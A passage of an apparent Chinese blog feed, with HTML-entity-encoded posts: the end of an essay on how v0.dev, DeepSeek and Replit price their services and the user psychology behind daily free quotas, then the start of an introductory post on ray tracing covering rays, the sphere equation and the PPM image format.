&#x83B7;&#x53D6;&#xFF0C;&#x4F46;&#x662F;&#x6570;&#x636E;&#x4E0D;&#x7A33;&#x5B9A;&#xFF0C;&#x6709;&#x65F6;&#x5019;&#x4F1A;&#x5237;&#x65B0;&#x4E0D;&#x51FA;&#x6765;&#x3002;</p></li></ol></blockquote><p>&#x5E76;&#x4E14;&#x4E00;&#x952E;&#x90E8;&#x7F72;&#x5230;&#x4E86; Vercel: <a href="https://v0-next-js-deployment.vercel.app/">https://v0-next-js-deployment.vercel.app/</a></p><p>&#x770B;&#x5230;&#x6CA1;&#xFF0C;&#x8FD9;&#x5C31;&#x662F;&#x4EF7;&#x683C;&#x5F71;&#x54CD;&#x7684;&#x884C;&#x4E3A;&#x3002;</p><p>&#x6211;&#x8BA4;&#x4E3A; v0.dev &#x7684;&#x5B9A;&#x4EF7;&#x7B56;&#x7565;&#x5341;&#x5206;&#x806A;&#x660E;&#xFF1A;&#x514D;&#x8D39;&#x989D;&#x5EA6;&#x6709;&#x9650;&#xFF0C;&#x4F46;&#x662F;&#x6BCF;&#x65E5;&#x5237;&#x65B0;&#x3002;&#x7C7B;&#x4F3C;&#x7684;&#x7F51;&#x7AD9;&#x670D;&#x52A1;&#x90FD;&#x63D0;&#x4F9B;&#x57FA;&#x672C;&#x7684;&#x514D;&#x8D39;&#x4F7F;&#x7528;&#x989D;&#x5EA6;&#xFF0C;&#x53EF;&#x662F;&#x5728;&#x6709;&#x9650;&#x7684;&#x989D;&#x5EA6;&#x4E0B;&#xFF0C;&#x7528;&#x6237;&#x5F88;&#x96BE;&#x4E00;&#x4E0B;&#x5B8C;&#x6210;&#x6210;&#x54C1;&#x3002;&#x9762;&#x5BF9;&#x4E00;&#x4E2A;&#x534A;&#x6210;&#x54C1;&#xFF0C;&#x751A;&#x81F3;&#x5F80;&#x5F80;&#x8FDE;&#x534A;&#x6210;&#x54C1;&#x90FD;&#x4E0D;&#x7B97;&#xFF0C;&#x8FD9;&#x65F6;&#x7528;&#x6237;&#x4F1A;&#x8003;&#x8651;&#x4ED8;&#x8D39;&#x5347;&#x7EA7;&#x5417;&#xFF1F;&#x7B54;&#x6848;&#x5F53;&#x7136;&#x662F;&#x6709;&#x53EF;&#x80FD;&#xFF0C;&#x80AF;&#x5B9A;&#x6709;&#x4E00;&#x5B9A;&#x4ED8;&#x8D39;&#x8F6C;&#x5316;&#x7387;&#x3002;</p><p>&#x5982;&#x679C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x6309;&#x7167; v0.dev &#x7684;&#x7B56;&#x7565;&#x5462;&#xFF1F;&#x4E5F;&#x63D0;&#x4F9B;&#x514D;&#x8D39;&#x7684;&#x6709;&#x9650;&#x989D;&#x5EA6;&#xFF0C;&#x7528;&#x6237;&#x5728;&#x7528;&#x5B8C;&#x540E;&#xFF0C;&#x9762;&#x5BF9;&#x534A;&#x6210;&#x54C1;&#xFF0C;&#x5374;&#x53D1;&#x73B0;&#x660E;&#x5929;&#x8FD8;&#x53EF;&#x4EE5;&#x518D;&#x6765;&#xFF0C;OK&#xFF0C;&#x90A3;&#x4E5F;&#x4E0D;&#x662F;&#x7B49;&#x4E0D;&#x4E86;&#x54C8;&#x3002;&#x7B2C;&#x4E8C;&#x5929;&#x7EE7;&#x7EED;&#x6765;&#x5B8C;&#x5584;&#x529F;&#x80FD;&#xFF0C;&#x611F;&#x89C9;&#x9A6C;&#x4E0A;&#x8981;&#x597D;&#x4E86;&#xFF0C;&#x7B2C;&#x4E09;&#x5929;&#x66F4;&#x662F;&#x611F;&#x89C9;&#x5982;&#x6B64;&#xFF0C;&#x7B49;&#x4E0D;&#x53CA;&#x53D1;&#x5E03;&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x7684;&#x4ED8;&#x8D39;&#x610F;&#x613F;&#x662F;&#x4E0D;&#x662F;&#x66F4;&#x5F3A;&#x4E86;&#x5462;&#xFF1F;&#x8D77;&#x7801;&#x6BD4;&#x7B2C;&#x4E00;&#x5929;&#x4F7F;&#x7528;&#x5B8C;&#x989D;&#x5EA6;&#x540E;&#x7684;&#x610F;&#x613F;&#x5F3A;&#x3002;&#x56E0;&#x4E3A;&#x5DF2;&#x7ECF;&#x6709;&#x4E86;&#x6C89;&#x6CA1;&#x6210;&#x672C;&#xFF0C;&#x4EE5;&#x53CA;&#x9762;&#x5BF9;&#x4E00;&#x4E2A;&#x5373;&#x5C06;&#x5B8C;&#x6210;&#x7684;&#x9879;&#x76EE;&#x9A6C;&#x4E0A;&#x60F3;&#x4EA4;&#x4ED8;&#x8FD0;&#x8425;&#x7684;&#x5FC3;&#x60C5;&#x3002;&#x800C;&#x4E14;&#x8FD9;&#x79CD;&#x65B9;&#x5F0F;&#x8FD8;&#x63D0;&#x9AD8;&#x4E86;&#x7F51;&#x7AD9;&#x7684;&#x65E5;&#x6D3B;&#x3002;</p><p>&#x8FD9;&#x79CD;&#x7B56;&#x7565;&#x4E0D;&#x662F;&#x5F88;&#x806A;&#x660E;&#x5417;&#xFF1F;&#x800C;&#x4E14;&#x5176;&#x5B9E;&#x4E0D;&#x6015;&#x4F60;&#x4EA7;&#x54C1;&#x7684;&#x5B9A;&#x4EF7;&#x4E0D;&#x5408;&#x7406;&#x3001;&#x4E0D;&#x806A;&#x660E;&#xFF0C;&#x5C31;&#x6015;&#x51FA;&#x73B0;&#x4E86;&#x7ADE;&#x54C1;&#x6BD4;&#x4F60;&#x66F4;&#x806A;&#x660E;&#xFF0C;&#x54EA;&#x6015;&#x806A;&#x660E;&#x4E00;&#x70B9;&#x70B9;&#xFF0C;&#x7528;&#x6237;&#x5BF9;&#x6B64;&#x662F;&#x5F88;&#x654F;&#x611F;&#x7684;&#x3002;</p><p>&#x603B;&#x7ED3;&#x4E00;&#x4E0B;&#xFF0C;v0.dev &#x7684;&#x5B9A;&#x4EF7;&#x7B56;&#x7565;&#x5145;&#x5206;&#x5229;&#x7528;&#x4E86;&#x7528;&#x6237;&#x5FC3;&#x7406;&#xFF0C;&#x582A;&#x79F0;&#x5178;&#x8303;&#xFF1A;</p><ol><li class="lvl-3"><p><strong>&#x6BCF;&#x65E5;&#x5237;&#x65B0;&#x514D;&#x8D39;&#x989D;&#x5EA6;</strong><br>&#x7528;&#x6237;&#x5728;&#x7528;&#x5B8C;&#x5F53;&#x5929;&#x989D;&#x5EA6;&#x540E;&#xFF0C;&#x53EF;&#x4EE5;&#x7B49;&#x5F85;&#x7B2C;&#x4E8C;&#x5929;&#x7EE7;&#x7EED;&#x4F7F;&#x7528;&#x3002;&#x8FD9;&#x79CD;&quot;&#x5EF6;&#x8FDF;&#x6EE1;&#x8DB3;&quot;&#x4E0D;&#x4EC5;&#x964D;&#x4F4E;&#x4E86;&#x521D;&#x59CB;&#x4ED8;&#x8D39;&#x95E8;&#x69DB;&#xFF0C;&#x8FD8;&#x589E;&#x5F3A;&#x4E86;&#x7528;&#x6237;&#x5BF9;&#x4EA7;&#x54C1;&#x7684;&#x671F;&#x5F85;&#x548C;&#x4F9D;&#x8D56;&#x611F;&#x3002;</p></li><li class="lvl-3"><p><strong>&#x6E10;&#x8FDB;&#x5F0F;&#x6295;&#x5165;</strong><br>&#x7528;&#x6237;&#x5728;&#x591A;&#x6B21;&#x514D;&#x8D39;&#x4F7F;&#x7528;&#x4E2D;&#x9010;&#x6B65;&#x6295;&#x5165;&#x65F6;&#x95F4;&#x548C;&#x7CBE;&#x529B;&#xFF0C;&#x5F62;&#x6210;&#x4E86;&#x5BF9;&#x9879;&#x76EE;&#x7684;&quot;&#x6240;&#x6709;&#x6743;&quot;&#x611F;&#x3002;&#x5F53;&#x9879;&#x76EE;&#x63A5;&#x8FD1;&#x5B8C;&#x6210;&#x65F6;&#xFF0C;&#x4ED8;&#x8D39;&#x610F;&#x613F;&#x663E;&#x8457;&#x63D0;&#x5347;&#x3002;</p></li><li class="lvl-3"><p><strong>&#x6C89;&#x6CA1;&#x6210;&#x672C;&#x6548;&#x5E94;</strong><br>&#x968F;&#x7740;&#x9879;&#x76EE;&#x63A8;&#x8FDB;&#xFF0C;&#x7528;&#x6237;&#x4E0D;&#x613F;&#x8BA9;&#x4E4B;&#x524D;&#x7684;&#x52AA;&#x529B;&#x767D;&#x8D39;&#x3002;&#x4E3A;&#x4E86;&quot;&#x5B8C;&#x6210;&quot;&#x9879;&#x76EE;&#xFF0C;&#x4ED6;&#x4EEC;&#x66F4;&#x613F;&#x610F;&#x4ED8;&#x8D39;&#x89E3;&#x9501;&#x5168;&#x90E8;&#x529F;&#x80FD;&#x3002;</p></li><li class="lvl-3"><p><strong>&#x63D0;&#x9AD8;&#x65E5;&#x6D3B;&#x548C;&#x7559;&#x5B58;&#x7387;</strong><br>&#x6BCF;&#x65E5;&#x5237;&#x65B0;&#x7684;&#x673A;&#x5236;&#x9F13;&#x52B1;&#x7528;&#x6237;&#x9891;&#x7E41;&#x8FD4;&#x56DE;&#xFF0C;&#x589E;&#x5F3A;&#x4E86;&#x7F51;&#x7AD9;&#x7684;&#x6D3B;&#x8DC3;&#x5EA6;&#x548C;&#x7528;&#x6237;&#x7C98;&#x6027;&#x3002;</p></li></ol><p>&#x76F8;&#x6BD4;&#x4E4B;&#x4E0B;&#xFF0C;replit &#x7684;&#x7B56;&#x7565;&#x8FC7;&#x4E8E;&#x76F4;&#x63A5;&#xFF0C;&#x989D;&#x5EA6;&#x7528;&#x5C3D;&#x540E;&#x7ACB;&#x5373;&#x9650;&#x5236;&#x4F7F;&#x7528;&#xFF0C;&#x89E6;&#x53D1;&#x4E86;&#x7528;&#x6237;&#x7684;&#x635F;&#x5931;&#x538C;&#x6076;&#x5FC3;&#x7406;&#xFF0C;&#x5374;&#x672A;&#x80FD;&#x6709;&#x6548;&#x8F6C;&#x5316;&#x4E3A;&#x4ED8;&#x8D39;&#x884C;&#x4E3A;&#xFF0C;&#x53CD;&#x800C;&#x5BFC;&#x81F4;&#x7528;&#x6237;&#x6D41;&#x5931;&#x3002;</p><h3 id="&#x5B9A;&#x4EF7;&#x7B56;&#x7565;&#x7684;&#x5FC3;&#x7406;&#x5B66;&#x542F;&#x793A;">&#x5B9A;&#x4EF7;&#x7B56;&#x7565;&#x7684;&#x5FC3;&#x7406;&#x5B66;&#x542F;&#x793A;</h3><p>&#x4ECE; DeepSeek &#x548C; v0.dev &#x7684;&#x6210;&#x529F;&#x6848;&#x4F8B;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x63D0;&#x70BC;&#x51FA;&#x4EE5;&#x4E0B;&#x5B9A;&#x4EF7;&#x7B56;&#x7565;&#x7684;&#x6838;&#x5FC3;&#x539F;&#x5219;&#xFF1A;</p><ol><li class="lvl-3"><p><strong>&#x63D0;&#x4F9B;&#x6301;&#x7EED;&#x7684;&#x514D;&#x8D39;&#x4F53;&#x9A8C;</strong><br>&#x901A;&#x8FC7;&#x6BCF;&#x65E5;&#x5237;&#x65B0;&#x7684;&#x514D;&#x8D39;&#x989D;&#x5EA6;&#xFF0C;&#x7528;&#x6237;&#x53EF;&#x4EE5;&#x5728;&#x4E0D;&#x4ED8;&#x8D39;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x6301;&#x7EED;&#x4F53;&#x9A8C;&#x4EA7;&#x54C1;&#xFF0C;&#x5EFA;&#x7ACB;&#x4FE1;&#x4EFB;&#x548C;&#x4F9D;&#x8D56;&#x611F;&#x3002;</p></li><li class="lvl-3"><p><strong>&#x5229;&#x7528;&#x6C89;&#x6CA1;&#x6210;&#x672C;</strong><br>&#x8BA9;&#x7528;&#x6237;&#x5728;&#x514D;&#x8D39;&#x4F7F;&#x7528;&#x4E2D;&#x6295;&#x5165;&#x65F6;&#x95F4;&#x548C;&#x7CBE;&#x529B;&#xFF0C;&#x589E;&#x52A0;&#x4ED6;&#x4EEC;&#x4E3A;&#x5B8C;&#x6210;&#x9879;&#x76EE;&#x800C;&#x4ED8;&#x8D39;&#x7684;&#x610F;&#x613F;&#x3002;</p></li><li class="lvl-3"><p><strong>&#x7075;&#x6D3B;&#x7684;&#x4ED8;&#x8D39;&#x9009;&#x9879;</strong><br>&#x9664;&#x4E86;&#x6309;&#x6708;&#x6216;&#x6309;&#x5E74;&#x4ED8;&#x8D39;&#xFF0C;&#x589E;&#x52A0;&#x6309;&#x9700;&#x4ED8;&#x8D39;&#xFF08;&#x5982;&#x6309; token &#x6216;&#x8C03;&#x7528;&#x6B21;&#x6570;&#x6536;&#x8D39;&#xFF09;&#x7684;&#x9009;&#x9879;&#xFF0C;&#x6EE1;&#x8DB3;&#x4E0D;&#x540C;&#x7528;&#x6237;&#x7684;&#x9700;&#x6C42;&#x3002;</p></li><li class="lvl-3"><p><strong>&#x900F;&#x660E;&#x7684;&#x5B9A;&#x4EF7;&#x4F9D;&#x636E;</strong><br>&#x516C;&#x5F00;&#x6210;&#x672C;&#x548C;&#x5229;&#x6DA6;&#x7EC6;&#x8282;&#xFF0C;&#x4E3A;&#x7528;&#x6237;&#x63D0;&#x4F9B;&quot;&#x5408;&#x7406;&#x4EF7;&#x683C;&quot;&#x7684;&#x5FC3;&#x7406;&#x951A;&#x70B9;&#xFF0C;&#x589E;&#x5F3A;&#x4FE1;&#x4EFB;&#x611F;&#x3002;</p></li><li class="lvl-3"><p><strong>&#x964D;&#x4F4E;&#x51B3;&#x7B56;&#x95E8;&#x69DB;</strong><br>&#x7528;&#x6237;&#x66F4;&#x559C;&#x6B22;&#x5C0F;&#x989D;&#x3001;&#x5206;&#x6563;&#x7684;&#x6295;&#x5165;&#x800C;&#x975E;&#x4E00;&#x6B21;&#x6027;&#x9AD8;&#x989D;&#x8D39;&#x7528;&#x3002;&#x4F8B;&#x5982;&#xFF0C;&#x6309;&#x6708;&#x4ED8;&#x8D39;&#x6BD4;&#x6309;&#x5E74;&#x4ED8;&#x8D39;&#x66F4;&#x5177;&#x5438;&#x5F15;&#x529B;&#x3002;</p></li></ol><h3 id="&#x6700;&#x540E;">&#x6700;&#x540E;</h3><p>&#x4EA7;&#x54C1;&#x5B9A;&#x4EF7;&#x4E0D;&#x4EC5;&#x662F;&#x5546;&#x4E1A;&#x51B3;&#x7B56;&#xFF0C;&#x66F4;&#x662F;&#x5FC3;&#x7406;&#x5B66;&#x548C;&#x884C;&#x4E3A;&#x7ECF;&#x6D4E;&#x5B66;&#x7684;&#x5E94;&#x7528;&#x3002;DeepSeek &#x901A;&#x8FC7;&#x4F4E;&#x4EF7;&#x548C;&#x900F;&#x660E;&#x5EA6;&#x6253;&#x7834;&#x4E86;&#x884C;&#x4E1A;&#x5784;&#x65AD;&#xFF0C;v0.dev &#x901A;&#x8FC7;&#x6BCF;&#x65E5;&#x5237;&#x65B0;&#x989D;&#x5EA6;&#x5DE7;&#x5999;&#x5F15;&#x5BFC;&#x7528;&#x6237;&#x884C;&#x4E3A;&#xFF0C;&#x8FD9;&#x90FD;&#x8868;&#x660E;&#x7406;&#x89E3;&#x7528;&#x6237;&#x5FC3;&#x7406;&#x662F;&#x5236;&#x5B9A;&#x6210;&#x529F;&#x5B9A;&#x4EF7;&#x7B56;&#x7565;&#x7684;&#x5173;&#x952E;&#x3002;&#x5728;&#x7ADE;&#x4E89;&#x6FC0;&#x70C8;&#x7684;&#x5E02;&#x573A;&#x4E2D;&#xFF0C;&#x4F01;&#x4E1A;&#x82E5;&#x80FD;&#x8BBE;&#x8BA1;&#x51FA;&quot;&#x806A;&#x660E;&quot;&#x7684;&#x5B9A;&#x4EF7;&#x6A21;&#x5F0F;&#xFF0C;&#x54EA;&#x6015;&#x53EA;&#x6BD4;&#x7ADE;&#x54C1;&#x9886;&#x5148;&#x4E00;&#x70B9;&#x70B9;&#xFF0C;&#x4E5F;&#x8DB3;&#x4EE5;&#x8D62;&#x5F97;&#x7528;&#x6237;&#x7684;&#x9752;&#x7750;&#x3002;&#x6B63;&#x5982;&#x6211;&#x51E0;&#x5E74;&#x524D;&#x5411;&#x516C;&#x53F8;&#x5EFA;&#x8BAE;&#x7684;&#x90A3;&#x6837;&#xFF1A;&#x7528;&#x6237;&#x6C38;&#x8FDC;&#x559C;&#x6B22;&#x6570;&#x5B57;&#x5C0F;&#x7684;&#x4ED8;&#x8D39;&#x65B9;&#x5F0F;&#xFF0C;&#x4E5F;&#x6C38;&#x8FDC;&#x559C;&#x6B22;&#x514D;&#x8D39;&#x4F53;&#x9A8C;&#x3002;&#x5B9A;&#x4EF7;&#x7684;&#x827A;&#x672F;&#x5728;&#x4E8E;&#x5E73;&#x8861;&#x5546;&#x4E1A;&#x76EE;&#x6807;&#x4E0E;&#x7528;&#x6237;&#x5FC3;&#x7406;&#xFF0C;&#x800C;&#x975E;&#x5355;&#x7EAF;&#x8FFD;&#x6C42;&#x5229;&#x6DA6;&#x6700;&#x5927;&#x5316;&#x3002;</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x4EA7;&amp;#x54C1;&amp;#x5B9A;&amp;#x4EF7;&amp;#x5F88;&amp;#x91CD;&amp;#x8981;&lt;/p&gt;
&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x6DF1;&amp;#x5165;&amp;#x5206;&amp;#x6790;&amp;#x4EA7;&amp;#x54C1;&amp;#x5B9A;&amp;#x4EF7;&amp;#x5BF9;&amp;#x7528;&amp;#x6237;&amp;#x884C;&amp;#x4E3A;&amp;#x548C;&amp;#x5546;&amp;#x4E1A;&amp;#x6210;&amp;#x529F;&amp;#x7684;&amp;#x5173;&amp;#x952E;&amp;#x5F71;&amp;#x54CD;&amp;#xFF0C;&amp;#x4EE5;DeepSeek&amp;#x548C;v0.dev&amp;#x4E3A;&amp;#x4F8B;&amp;#xFF0C;&amp;#x5BF9;&amp;#x6BD4;&amp;#x4E0D;&amp;#x540C;&amp;#x5B9A;&amp;#x4EF7;&amp;#x7B56;&amp;#x7565;&amp;#x7684;&amp;#x5FC3;&amp;#x7406;&amp;#x6548;&amp;#x5E94;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x63A2;&amp;#x8BA8;&amp;#x4E86;&amp;#x8F6F;&amp;#x4EF6;&amp;#x884C;&amp;#x4E1A;&amp;#x5B9A;&amp;#x4EF7;&amp;#x6A21;&amp;#x5F0F;&amp;#x7684;&amp;#x6F14;&amp;#x8FDB;&amp;#x5386;&amp;#x7A0B;&amp;#xFF0C;&amp;#x4ECE;&amp;#x4E00;&amp;#x6B21;&amp;#x6027;&amp;#x4E70;&amp;#x65AD;&amp;#x5230;&amp;#x6309;token&amp;#x6536;&amp;#x8D39;&amp;#xFF0C;&amp;#x5E76;&amp;#x901A;&amp;#x8FC7;&amp;#x5B9E;&amp;#x9645;&amp;#x6848;&amp;#x4F8B;&amp;#x5C55;&amp;#x793A;&amp;#x4E86;&amp;#x6BCF;&amp;#x65E5;&amp;#x5237;&amp;#x65B0;&amp;#x514D;&amp;#x8D39;&amp;#x989D;&amp;#x5EA6;&amp;#x5982;&amp;#x4F55;&amp;#x63D0;&amp;#x9AD8;&amp;#x7528;&amp;#x6237;&amp;#x7C98;&amp;#x6027;&amp;#x548C;&amp;#x4ED8;&amp;#x8D39;&amp;#x8F6C;&amp;#x5316;&amp;#x7387;&amp;#xFF0C;&amp;#x63D0;&amp;#x70BC;&amp;#x51FA;&amp;#x6210;&amp;#x529F;&amp;#x5B9A;&amp;#x4EF7;&amp;#x7B56;&amp;#x7565;&amp;#x7684;&amp;#x6838;&amp;#x5FC3;&amp;#x539F;&amp;#x5219;&amp;#x4E0E;&amp;#x5FC3;&amp;#x7406;&amp;#x5B66;&amp;#x542F;&amp;#x793A;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="杂" scheme="https://oschina.win/categories/%E6%9D%82/"/>
    
    
    <category term="AI" scheme="https://oschina.win/tags/AI/"/>
    
  </entry>
  
  <entry>
    <title>ray-tracing 光线追踪基本原理</title>
    <link href="https://oschina.win/posts/1a2e2a85.html"/>
    <id>https://oschina.win/posts/1a2e2a85.html</id>
    <published>2025-02-15T17:41:10.000Z</published>
    <updated>2025-02-15T17:41:10.000Z</updated>
    
    <content type="html"><![CDATA[<p>&#x8BE6;&#x7EC6;&#x89E3;&#x6790;&#x8F7B;&#x91CF;&#x7EA7;&#x5149;&#x7EBF;&#x8FFD;&#x8E2A;&#x5F15;&#x64CE;&#x7684;&#x5B9E;&#x73B0;&#x539F;&#x7406;&#xFF0C;&#x4ECE;&#x89C6;&#x53E3;&#x6784;&#x5EFA;&#x5230;&#x900F;&#x89C6;&#x6295;&#x5F71;&#x7684;&#x5B8C;&#x6574;&#x8FC7;&#x7A0B;</p><p>&#x672C;&#x6587;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x5149;&#x7EBF;&#x8FFD;&#x8E2A;&#x7684;&#x57FA;&#x672C;&#x539F;&#x7406;&#x548C;&#x5B9E;&#x73B0;&#x65B9;&#x6CD5;&#xFF0C;&#x4EE5;&#x76F4;&#x89C2;&#x7684;&#x65B9;&#x5F0F;&#x89E3;&#x91CA;&#x5149;&#x7EBF;&#x5982;&#x4F55;&#x4E0E;&#x7269;&#x4F53;&#x76F8;&#x4EA4;&#x5E76;&#x751F;&#x6210;&#x56FE;&#x50CF;&#x3002;&#x6587;&#x7AE0;&#x4ECE;PPM&#x683C;&#x5F0F;&#x56FE;&#x50CF;&#x8868;&#x793A;&#x5F00;&#x59CB;&#xFF0C;&#x6DF1;&#x5165;&#x8BB2;&#x89E3;&#x5C04;&#x7EBF;&#x6570;&#x5B66;&#x8868;&#x8FBE;&#x3001;&#x70B9;&#x4E58;&#x4E0E;&#x53C9;&#x4E58;&#x7B49;&#x5411;&#x91CF;&#x8FD0;&#x7B97;&#x7684;&#x51E0;&#x4F55;&#x610F;&#x4E49;&#xFF0C;&#x5E76;&#x5C55;&#x793A;&#x4E86;&#x4E3B;&#x5C04;&#x7EBF;&#x3001;&#x9634;&#x5F71;&#x5C04;&#x7EBF;&#x3001;&#x53CD;&#x5C04;&#x5C04;&#x7EBF;&#x548C;&#x6298;&#x5C04;&#x5C04;&#x7EBF;&#x5982;&#x4F55;&#x534F;&#x540C;&#x5DE5;&#x4F5C;&#x6784;&#x5EFA;&#x903C;&#x771F;&#x7684;3D&#x6E32;&#x67D3;&#x573A;&#x666F;&#x3002;</p><span id="more"></span><p>&#x9996;&#x5148;&#x7406;&#x89E3;&#x8FD9;&#x4E09;&#x4EF6;&#x4E8B;&#xFF1A;</p><ol><li class="lvl-3"><p>&#x4EBA;&#x7684;&#x773C;&#x775B;&#x80FD;&#x770B;&#x5230;&#x4E1C;&#x897F;&#xFF0C;&#x662F;&#x56E0;&#x4E3A;&#x5149;&#x4ECE;&#x7269;&#x4F53;&#x4E0A;&#x53CD;&#x5C04;&#x8FDB;&#x5165;&#x5230;&#x4EBA;&#x773C;&#xFF0C;&#x6839;&#x636E;&#x5149;&#x7EBF;&#x53EF;&#x9006;&#x6027;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x628A;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&quot;&#x60F3;&#x8C61;&quot;&#x662F;&#x7531;&#x4E8E;&#x4EBA;&#x7684;&#x773C;&#x775B;&#x53D1;&#x51FA;&#x5149;&#xFF0C;&#x6295;&#x5C04;&#x5230;&#x7269;&#x4F53;&#x4E0A;&#xFF0C;&#x4E8E;&#x662F;&#x7269;&#x4F53;&#x88AB;&#x770B;&#x89C1;&#x4E86;&#x3002;&#x73B0;&#x5728;&#xFF0C;&#x57FA;&#x4E8E;&#x8FD9;&#x4E2A;&#x6982;&#x5FF5;&#xFF0C;&#x7528;&#x4E00;&#x6761;&#x76F4;&#x7EBF;&#xFF0C;&#x5E26;&#x6709;&#x65B9;&#x5411;&#xFF0C;&#x6765;&#x6A21;&#x62DF;&#x4EBA;&#x773C;&#xFF0C;&#x5C31;&#x79F0;&#x4E3A; ray &#x7EBF;&#x5427;&#xFF0C;&#x5373;&#x5C04;&#x7EBF;&#x3002;</p></li><li class="lvl-3"><p>&#x6570;&#x5B66;&#x77E5;&#x8BC6;&#xFF1A;&#x5E73;&#x9762;&#x6709;&#x4E24;&#x4E2A;&#x70B9;&#xFF1A;O&#x70B9;&#xFF0C;P&#x70B9;&#xFF0C;O &#x70B9;&#x56FA;&#x5B9A;&#xFF0C;P &#x70B9;&#x8FD0;&#x52A8;&#xFF0C;&#x4F46;&#x662F; P &#x70B9;&#x7684;&#x8FD0;&#x52A8;&#x53D7;&#x5230;&#x7EA6;&#x675F;&#xFF1A;$$ (P_x-O_x)^2 + (P_y-O_y)^2 = r^2 $$    &#x90A3;&#x4E48; P &#x70B9;&#x7684;&#x8FD0;&#x52A8;&#x8F68;&#x8FF9;&#x80AF;&#x5B9A;&#x662F;&#x4E00;&#x4E2A;&#x5E73;&#x9762;&#x5706;&#x3002;&#x4E09;&#x7EF4;&#x7684;&#x7ACB;&#x4F53;&#x5706;&#x4E5F;&#x4E00;&#x6837;&#x3002;</p></li><li class="lvl-3"><p>&#x5982;&#x679C; ray &#x5411;&#x7A7A;&#x95F4;&#x4EFB;&#x610F;&#x65B9;&#x5411;&#x53D1;&#x5C04;&#x5149;&#x7EBF;&#xFF0C;&#x518D;&#x5047;&#x8BBE;&#x5B58;&#x5728;&#x4E00;&#x4E2A;&#x5B8C;&#x5168;&#x900F;&#x660E;&#x7684;&#x7ACB;&#x4F53;&#x7403;&#xFF08;&#x6B64;&#x65F6;&#x5B8C;&#x5168;&#x770B;&#x4E0D;&#x89C1;&#xFF09;&#xFF0C;&#x5F53; ray &#x7EBF;&#x4E0E;&#x5B83;&#x76F8;&#x4EA4;(&#x4EA4;&#x70B9;&#x4E3A;1&#xFF0C;&#x5728;&#x8868;&#x9762;&#xFF0C;&#x4EA4;&#x70B9;&#x4E3A;2&#xFF0C;&#x7A7F;&#x8FC7;&#x5185;&#x90E8;)&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x5C06;&#x4EA4;&#x70B9;&#x4EE5;&#x53CA;&#x4EA4;&#x70B9;&#x5185;&#x90E8;&#x90FD;&#x6D82;&#x8272;&#xFF0C;&#x662F;&#x4E0D;&#x662F;&#x9A6C;&#x4E0A;&#x5C31;&#x80FD;&#x770B;&#x89C1;&#x8FD9;&#x4E2A;&#x7ACB;&#x4F53;&#x7403;&#x4E86;&#xFF1F;&#x53EA;&#x9700;&#x8981;&#x6EE1;&#x8DB3;&#x7EA6;&#x675F;&#xFF1A;$$ (P_x-O_x)^2 + (P_y-O_y)^2 + (P_z-O_z)^2 = r^2 $$ &#x5373;&#x53EF;&#x3002;&#x8FD9;&#x5176;&#x5B9E;&#x5C31;&#x6E32;&#x67D3;&#x51FA;&#x6765;&#x4E86;&#x4E00;&#x4E2A; 3D &#x7684;&#x7403;&#x4F53;&#x3002;</p></li></ol><p>&#x597D;&#x4E86;&#xFF0C;&#x7406;&#x89E3;&#x4E86;&#x8FD9;&#x4E2A;&#x5C31;&#x7406;&#x89E3;&#x4E86;&#x5149;&#x7EBF;&#x8FFD;&#x8E2A;&#x6700;&#x57FA;&#x672C;&#x7684;&#x77E5;&#x8BC6;&#xFF0C;&#x7136;&#x540E;&#x4F60;&#x5C31;&#x80FD;&#x753B;&#x51FA;&#x5982;&#x4E0B;&#x7684;&#x56FE;&#x4E86;&#xFF1A;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305075649.png" alt="image.png"></p><h3 id="&#x57FA;&#x7840;">&#x57FA;&#x7840;</h3><p>&#x5148;&#x4ECE;&#x6700;&#x57FA;&#x672C;&#x7684;&#x6765;&#xFF0C;&#x6253;&#x597D;&#x57FA;&#x7840;&#xFF0C;&#x628A;&#x6846;&#x67B6;&#x505A;&#x597D;&#x3002;&#x4EE5;&#x4E0B;&#x90FD;&#x662F;&#x57FA;&#x4E8E;&#x4E09;&#x7EF4;&#x5750;&#x6807;&#x8FDB;&#x884C;&#x6784;&#x5EFA;&#x7684;&#x3002;</p><hr><h4 id="1-&#x5982;&#x4F55;&#x8868;&#x793A;&#x56FE;&#x7247;">1. &#x5982;&#x4F55;&#x8868;&#x793A;&#x56FE;&#x7247;?</h4><p>&#x8FD9;&#x91CC;&#x4F7F;&#x7528; <strong>PPM</strong> &#x56FE;&#x7247;&#x683C;&#x5F0F;&#xFF0C; &#x5176;&#x6700;&#x7B80;&#x5355;&#x7684;&#x5185;&#x5BB9;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">P3</span><br><span class="line"># &#x6CE8;&#x91CA;</span><br><span class="line">3 2</span><br><span class="line">255</span><br><span class="line">255   0   0     0 255   0     0   0 255</span><br><span class="line">255 255   0   255 255 255     0   0   0</span><br></pre></td></tr></table></figure><ul class="lvl-0"><li class="lvl-2"><p>&#x9996;&#x884C;&#x4E3A;&quot;P3&quot;&#xFF0C;&#x8868;&#x793A;&#x662F;ASCII&#x683C;&#x5F0F;&#x7684;PPM&#x6587;&#x4EF6;</p></li><li class="lvl-2"><p>&quot;3 2&quot;&#x8868;&#x793A;&#x56FE;&#x50CF;&#x5C3A;&#x5BF8;&#x4E3A;&#x5BBD;3&#x50CF;&#x7D20;&#x3001;&#x9AD8;2&#x50CF;&#x7D20;(&#x50CF;&#x7D20;&#x70B9;&#x7684;&#x8868;&#x8FBE;&#x4F7F;&#x7528; RGB&#xFF0C;&#x5982;(255,0,0)&#x8868;&#x793A;&#x7EA2;&#x70B9;)</p></li><li 